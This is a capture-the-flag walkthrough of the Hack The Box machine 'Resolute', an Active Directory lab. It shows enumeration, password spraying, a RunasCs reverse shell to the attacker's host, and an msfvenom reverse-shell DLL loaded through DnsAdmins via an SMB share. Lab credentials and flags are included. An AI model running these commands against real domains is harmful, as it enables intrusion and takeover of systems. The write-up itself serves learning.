Post

Resolute - HTB Writeup

Machine Info

Resolute was a medium-ranked Active Directory machine that involved utilizing default credentials with password spraying to gain initial access to the box. For lateral movement, we found Ryan’s user password in the PowerShell session history file. Ryan was a member of the DnsAdmins group, which allows loading new .dll files. We will abuse this to gain Admin account access on the box.

Pasted image 20240729055714

User

Scanning through Nmap

First, we’ll use Nmap to scan the whole network and find out what services are running. With the -p- option, we can check all 65535 ports, and by adding –min-rate 10000, we can make the scan faster. After running Nmap, we’ll have a list of open ports on the network, and we’ll use tools like cut and tr to filter out only the open ones.

1
2
$ nmap -p- --min-rate 10000 10.129.25.43 -oN ini.txt && cat ini.txt | cut  -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
53,88,135,139,445,3268,3269,9389,49676,49686

Now let’s run a detailed scan on these specific ports using…

1
$ nmap -p53,88,135,139,445,3268,3269,9389,49676,49686 -sC -sV -A -T4 10.129.25.43 -oN scan.txt
  • -sC is to run all the default scripts
  • -sV for service and version detection
  • -A to check all default things
  • -T4 for aggressive scan
  • -oN to write the result into a specified file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-22 18:00:16Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf       .NET Message Framing
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-22T18:01:18
|_  start_date: 2024-07-22T17:44:45
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 2h27m01s, deviation: 4h02m32s, median: 6m59s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2024-07-22T11:01:17-07:00

Information Gathering

Through Nmap we found port 53 DNS is open which can be used to perform zone transfer, 88 kerberose is open which can be used to for enumeration and authentication purpose here, 139 & 445 SMB ports are open and can be used to enumerate shares with anonymous user for initial access, 3268 ldap port is open. Nmap discover Domain name by using ldap scripts which is megabank.local and Fully Qualified Domain Name FQDN as Resolute.megabank.local . Let’s add this to our local DNS file called /etc/hosts so that our computer can resolve domain.

1
2
$ echo "10.129.25.43 megabank.local Resolute.megabank.local" | sudo tee -a /etc/hosts
10.129.25.43 megabank.local Resolute.megabank.local

53 DNS

Let’s start with the port 53 DNS and try to perform zone using dig (dig stands for Domain Information Grabber. It is used for retrieving information about DNS name servers. It is used for verifying and troubleshooting DNS problems and to perform DNS lookups). The complete command will be

1
$ dig axfr @10.129.25.43 megabank.local

Here axfr is a protocol(AXFR is a protocol for “zone transfers” for replication of DNS data across multiple DNS servers. Unlike normal DNS queries that require the user to know some DNS information ahead of time, AXFR queries reveal resource records including subdomain names). But we couldn’t able to fetch any useful information.

1
2
3
4
5
6
$ dig axfr @10.129.25.43 megabank.local

; <<>> DiG 9.19.25-185-g392e7199df2-1-Debian <<>> axfr @10.129.25.43 authority.htb.corp
; (1 server found)
;; global options: +cmd
; Transfer failed.

We didn’t found anything using zone transfer.

User Enumeration

1. Kerberos 88

kerbrute (A tool to quickly brute-force and enumerate valid Active Directory accounts through Kerberos Pre-Authentication) . it can also be used to perform password spraying on domain if somehow we managed to find a valid password. Kerbrute provide us many functions including

1
2
3
4
5
6
7
Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

We will be using that userenum function to enumerate user’s name in domain.

1
$ kerbrute userenum -d megabank.local users-list --dc 10.129.25.43
  • -d is for domain name
  • –dc for domain controller IP
- steve@megabank.local
- fred@megabank.local
- marcus@megabank.local
- simon@megabank.local
- ryan@megabank.local
- stevie@megabank.local
- angela@megabank.local
- claire@megabank.local
- sally@megabank.local
- claude@megabank.local
- melanie@megabank.local
- administrator@megabank.local
- gustavo@megabank.local
- marko@megabank.local
- annette@megabank.local
- abigail@megabank.local
- paulo@megabank.local
- felicia@megabank.local
- annika@megabank.local
- per@megabank.local
- naoki@megabank.local
- zach@megabank.local
- ulf@megabank.local

2. Using Nmap

1
$ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="megabank.local",userdb=xato-net-10-million-usernames.txt 10.129.23.166
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|     zach@megabank.local
|     annette@megabank.local
|     felicia@megabank.local
|     marcus@megabank.local
|     claude@megabank.local
|     steve@megabank.local
|     ulf@megabank.local
|     per@megabank.local
|     paulo@megabank.local
|     claire@megabank.local
|     resolute@megabank.local
|     sally@megabank.local
|     marko@megabank.local
|     abigail@megabank.local
|     administrator@megabank.local
|     melanie@megabank.local
|     fred@megabank.local
|     angela@megabank.local
|     annika@megabank.local
|     naoki@megabank.local
|     ryan@megabank.local
|     gustavo@megabank.local
|     stevie@megabank.local
|_    simon@megabank.local

3. Ldap 389

windapsearch is a Python script to help enumerate users, groups and computers from a Windows domain through LDAP queries. By default, Windows Domain Controllers support basic LDAP operations through port 389/tcp. With any valid domain account (regardless of privileges), it is possible to perform LDAP queries against a domain controller for any AD related information.

1
$ ./windapsearch.py -d megabank.local -u Guest\\ldapbind -p '' **-U -**-full
  • -d for domain
  • -u for username
  • -p for password
  • -U to enumerate Users
  • –full to Dump all attributes from LDAP
[+] Enumerating all AD users
[+]	Found 25 users: 

objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Guest
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=megabank,DC=local
instanceType: 4
whenCreated: 20190925132831.0Z
whenChanged: 20190925132831.0Z
uSNCreated: 8197
memberOf: CN=Guests,CN=Builtin,DC=megabank,DC=local
uSNChanged: 8197
name: Guest
objectGUID: dVs0v8Y8kk6A6yJE8D5mmw==
userAccountControl: 66082
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 0
primaryGroupID: 514
objectSid: AQUAAAAAAAUVAAAAaeAGU04VmrOsCGHW9QEAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: Guest
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=megabank,DC=local
isCriticalSystemObject: TRUE
dSCorePropagationData: 20190927221048.0Z
dSCorePropagationData: 20190927105219.0Z
dSCorePropagationData: 20190925132912.0Z
dSCorePropagationData: 16010101181633.0Z
.
.
snipped
.
.

objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Marko Novak
sn: Novak
description: Account created. Password set to Welcome123!
givenName: Marko
distinguishedName: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,DC=local
instanceType: 4
whenCreated: 20190927131714.0Z
whenChanged: 20191203132427.0Z
displayName: Marko Novak
uSNCreated: 13110
uSNChanged: 69792
name: Marko Novak
objectGUID: 8oIRSXQNmEW4iTLjzuwCpw==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132140638345690606
primaryGroupID: 513
objectSid: AQUAAAAAAAUVAAAAaeAGU04VmrOsCGHWVwQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: marko
sAMAccountType: 805306368
userPrincipalName: marko@megabank.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=megabank,DC=local
dSCorePropagationData: 20190927221048.0Z
dSCorePropagationData: 20190927131714.0Z
dSCorePropagationData: 16010101000001.0Z
.
.
snipped
.
.

objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Naoki Yamamoto
distinguishedName: CN=Naoki Yamamoto,CN=Users,DC=megabank,DC=local
instanceType: 4
whenCreated: 20191204104044.0Z
whenChanged: 20191204104044.0Z
uSNCreated: 131152
uSNChanged: 131156
name: Naoki Yamamoto
objectGUID: gABq//UsGkiGCoHHGQPA3Q==
userAccountControl: 512
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132199296443424853
primaryGroupID: 513
objectSid: AQUAAAAAAAUVAAAAaeAGU04VmrOsCGHWeCcAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: naoki
sAMAccountType: 805306368
userPrincipalName: naoki@megabank.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=megabank,DC=local
dSCorePropagationData: 16010101000000.0Z

4. ms RPC 135

A Remote Procedure Call (RPC) is a software communication protocol that one program uses to request a service from another program located on a different computer and network, without having to understand the network’s details. Specifically, RPC is used to call other processes on remote systems as if the process were a local system. A procedure call is also sometimes known as a function call or a subroutine call.

The rpcclient tool is used to interact with remote services on Windows systems using the Remote Procedure Call (RPC) protocol. An attacker can use rpcclient to enumerate information about the system, such as users and groups, which can be useful for carrying out further attacks.

1
2
3
4
$ rpcclient -U "" -N 10.129.23.166

# user enumeration
$ getdomusers
  • -U for username
  • -N for don’t ask for password

Getting each user information one by one was quite time consuming, i decided to write a bash script which will automate this process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
# Define the file containing the list of usernames
USER_LIST_FILE="users1.txt"
# Define the server IP address or hostname
SERVER="10.129.23.166"
# Define the username for authentication
USERNAME="" # Replace with your actual username
# Check if the file exists
if [[ ! -f "$USER_LIST_FILE" ]]; then
  echo "User list file $USER_LIST_FILE does not exist."
  exit 1
fi
# Read each username from the file and query it
while IFS= read -r username; do
  # Skip empty lines and comments (lines starting with #)
  if [[ -z "$username" || "$username" =~ ^# ]]; then
    continue
  fi
  # Query the user using rpcclient
  echo "Querying user: $username"
  rpcclient -U "$USERNAME" -N "$SERVER" -c "queryuser $username"
  # Check if rpcclient was successful
  if [[ $? -ne 0 ]]; then
    echo "Failed to query user: $username"
  fi
done < "$USER_LIST_FILE"

In Marko Users Description, i found the default password for the marko user.

Pasted image 20240729035250

Password Spraying

Password spraying is a cyberattack tactic that involves a hacker using a single password to try and break into multiple target accounts. It’s a type of brute-force attack. Password spraying is an effective tactic because it’s relatively simple to carry out, and users often have easy-to-guess passwords.

Now we have an valid password, let’s try to spray it on all the users to find out if any of the user have this password. We will be using tool called CrackmapExec an command line tool.

1
$ cme smb 10.129.23.166 -u users1.txt -p 'Welcome123!' -d megabank.local --continue-on-success
  • smb to define protocol
  • -u to define user
  • -p to define Password
  • -d for domain
  • –continue-on-success to continues authentication attempts even after successes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SMB         10.129.23.166   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.129.23.166   445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.23.166   445    RESOLUTE         [-] 
.
.
snipped
.
.
megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.23.166   445    RESOLUTE         [+] megabank.local\melanie:Welcome123! 
SMB         10.129.23.166   445    RESOLUTE         [-] megabank.local\administrator:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.23.166   445    RESOLUTE         [-] 
.
.
snipped
.
.
megabank.local\zach:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.23.166   445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.23.166   445    RESOLUTE         [-] megabank.local\resolute:Welcome123! STATUS_LOGON_FAILURE

Melanie have the default password set. Let’s get shell into it using Evil-Winrm.

Pasted image 20240729043817

melanie : Welcome123!

WinRM 5985

Windows Remote Management (WinRM) is a protocol developed by Microsoft, enabling administrators to manage and control Windows-based systems remotely Evil-winrm is a tool which use WinRM service to get remote shell on the box.

1
$ evil-winrm -i megabank.local -u melanie -p 'Welcome123!'                
  • -i for IP address
  • -u for user
  • -p for password
1
2
3
*Evil-WinRM* PS C:\Users\melanie\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> cat user.txt
d823709facaeec2fd3797472ddc9d51b

Privilege Escalation

Lateral Movement

I started enumerating using winpease but didn’t discover anything useful. Then i decided to enumerate the File system manually. In C:\ directory i found some hidden directories, PSTranscripts directory holds the Powershell session Hisotory Logs where i found the credentials of Ryan user.

Pasted image 20240729044034

Pasted image 20240729044108

  • -Force to display hidden Directories
  • -R for recursion

Pasted image 20240729044214

C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt ryan : Serv3r4Admin4cc123!

Then i check if the Ryan is a member of Remote Management group, but he didn’t so we can’t get shell using Evil-Winrm.

There we will use RunasCs is an utility to run specific processes with different permissions than the user’s current logon provides using explicit credentials

Pasted image 20240729044323

1
$ ./RunasCs.exe ryan  'Serv3r4Admin4cc123!' powershell.exe -r 10.10.16.8:9001 -l 8  --bypass-uac
  • -r for remote connection
  • -l to set logon type, by default it is set to 2.
  • –bypass-uac for bypassing the token filtering limitation.

Pasted image 20240729054014

BloodHound

Now Let’s run bloodhound-python, an investigator used to gather information from all over the domain. After it’s completion, run bloodhound and upload it to bloodhound and start investigation on graph’s.

To run Bloodhound we first need to start neo4j a graph database system.

1
2
3
4
5
6
7
8
9
10
11
12
sudo neo4j console
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.

Now type simple bloodhound in new terminal and press enter to start the bloodhound. If you are running bloodhound for the first time you need to reset the default credentials of bloodhound which is neo4j:neo4j. After logging into the bloodhound upload the zip file we create by bloodhound-python. You can use both methods, either drag and drop the file into bloodhound or by using upload data button and wait for data to upload into the database.

Pasted image 20240127043922

After data upload process search for user, Ryan and melanie in search bar and mark them both as a owned user’s.

Pasted image 20240729054548

After i checked t the properties of Ryan user, and he was a member of Contractor Group and Contractor Group was a member of DnsAdmins group.

Pasted image 20240729044602

Exploitation

DnsAdmins

Users who are members of the group ‘DnsAdmins’ have the ability to abuse a feature in the Microsoft DNS management protocol to make the DNS server load any specified DLL. The service which in turn, executes the DLL is performed in the context of SYSTEM and could be used on a Domain Controller (Where DNS is usually running from) to gain Domain Administrator privileges. Refrence

First we need to create an malicious .dll file using msfvenom and then host it on SMB server. I tired to upload it on the box, but some kind of defense mechanism blocking it.

1
2
3
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.8 LPORT=4444 -f dll > exploit.dll

$ smbserver.py -smb2support share ./

Pasted image 20240729045502

Once SMB server is up and running, the following command can be used to register the DLL. Start a netcat listener on you machine and use net command to restart the dns service.

1
2
3
4
$ cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.16.8\share\exploit.dll

$ net stop dns /y
$ net start dns /y

Pasted image 20240729050026

Once the DNS service restart, we can see we got shell as nt authority\system

Pasted image 20240729050054

Flags

User : d9bce784c335e……9aefe6a0a8173

Root : 4d82dbba1325…….071f17898d8cff

Happy Hacking ❤

This post is licensed under CC BY 4.0 by the author.